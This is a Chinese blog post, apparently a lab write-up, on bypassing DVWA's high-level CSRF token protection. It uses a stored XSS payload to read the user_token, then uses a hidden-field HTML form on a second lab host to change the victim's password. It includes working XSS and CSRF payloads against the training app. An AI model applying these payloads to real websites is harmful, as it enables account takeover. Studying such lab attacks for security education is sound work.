DVWA之CSRF中high等级结合存储型XSS攻击

通过burpsuite抓包分析high级别加入了验证token机制,每次修改密码需要提交服务器生成的随机的token参数。

high等级的数据包

 

如果该网站存在XSS漏洞可以利用,那么就可以实现high等级下的CSRF漏洞,所以需要利用DVWA的XSS漏洞板块,获取同等级CSRF板块下的user_token,然后构造网站。

这里我是在存储型XSS中txtname框输入,因为有字数限制,所以需要拦截后更改。

txtName=<iframe src="../CSRF" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

获取其user_token。

利用存储性XSS漏洞

 

获取user_token

 

然后将这个token放入构造的html

<html>
    <body>
        <form action="http://192.168.204.136/dvwa/vulnerabilities/csrf/?">
            <input type="hidden" name="password_new" value="high"/>
            <input type="hidden" name="password_conf" value="high"/>
            <input type="hidden" name="Change" value="Change"/>
            <input type="hidden" name="user_token" value="xxxxx"/>
            <input type="submit" value="Ciick Me"/>
        </form>
    </body>
</html>

构造html

为了强调跨站,我把该html放在了host为192.168.204.142的服务器里,DVWA的主机host是192.168.204.136。

受害者访问

访问钓鱼网站

成功将密码修改为high

修改密码成功

验证登录

个人思考:

通过反射型XSS完成CSRF的攻击应该是不现实的,因为获取的token是一次性的,如果受害者在点击此构造网站之前随便访问了原网站的其他信息,或者token被消耗更新,token就会改变,因此,结合反射型XSS的CSRF攻击在现实中很容易失去有时效性的token。所以只能配合存储型的XSS,在构造网站的时候需要先跳转至XSS模块利用此漏洞获取token,然后才将修改密码表单发送,这个html网站的构造我还没有实现。

 

原文地址:https://www.cnblogs.com/zhengxin909/p/15570319.html